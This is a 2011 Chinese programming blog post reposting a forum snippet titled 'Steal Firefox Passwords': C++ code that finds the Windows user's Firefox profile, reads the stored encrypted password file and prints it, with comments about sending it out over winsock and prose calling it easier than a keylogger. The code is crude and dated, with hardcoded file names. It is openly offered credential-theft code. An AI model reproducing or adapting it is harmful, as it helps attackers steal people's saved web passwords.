Steal Firefox Passwords



// steal passwords saved in firefox
#include <iostream>
#include <fstream>
#include <windows.h>

  std::string line;
  std::string user;
  std::string path;
  std::string data;
  std::string efolder;
  std::string eFile;
  char UserName[100];
  DWORD nUserName;
  
   /*
    The folder name & file the encrypted passwords are stored in
    sre randomly generated on a firefox install. So, in reality
    you'd have to search the folder "Default" for a folder ending with ".stl"
    (salt) - and then search for a file ending in ".s"
   */
   http://www.rohitab.com/discuss/topic/29875-steal-firefox-passwords/
Okay, so most people don't remember every password for the internet (form auth), so they get their browser (in this case firefox) to store them. These passwords are kept in a folder different from the one shown, upon install, a random string is generated for the folder name. The passwords are encrypted in base64, which are easy to decode. But once you get the file.s file in your hands, you wouldn't care, because yellowpipe would take care of the rest.

It'ds just an idea, flame all you like! But it's easier than installing a keylogger, unless you're after a non web based password.


   
   int main()
   {
     // get username
     nUserName = sizeof(UserName);
     GetUserName(UserName, &nUserName);
     user = UserName;
    
     efolder  = "i39bfb38.slt";
     eFile = "5455086.s";
    
     // read in data
     path = "C:\\Documents and Settings\\"+user+"\\Application   Data\\Mozilla\\Profiles\\Default\\"+efolder+"\\"+eFile;
     std::ifstream in(path.c_str());
     while(!in.eof() && in.is_open())
     {
    getline (in,line);
    data.append(line);
     }
     // could send it over winsock
     // or save to a file
     // print it out for now.
     std::cout << data << std::endl;
     return 0;
    }

posted on 2011-03-08 22:09 挑灯看剑 阅读(418) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2011年3月>
272812345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名